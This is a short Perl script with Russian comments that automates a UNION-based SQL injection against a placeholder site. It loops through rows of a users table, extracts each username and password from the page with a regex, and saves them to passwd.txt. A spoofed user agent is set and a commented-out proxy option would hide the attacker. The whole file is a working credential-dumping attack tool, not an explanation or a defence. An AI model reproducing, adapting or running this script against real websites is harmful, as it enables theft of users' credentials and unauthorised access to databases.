#!/usr/bin/perl
use strict;
#use warnings;
use LWP::UserAgent;

#число записей, count(имя поля)
my $num = '90';

my $ua = LWP::UserAgent->new;
$ua->agent("Nintendo X2");
#$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
open(FH,">passwd.txt") or die "$!";
for(0..$num) {
  my $req = HTTP::Request->new(GET => "http://site.com/index.php?id=-1+union+select+1,concat(char(64,64),username,pass,char(64,64)+limit+$_,1");
  $req->header('Accept' => 'text/html');
  my $res = $ua->request($req);
  $res->content =~/@@(.+?)@@/;
  print FH $1,"\n";
}
close FH;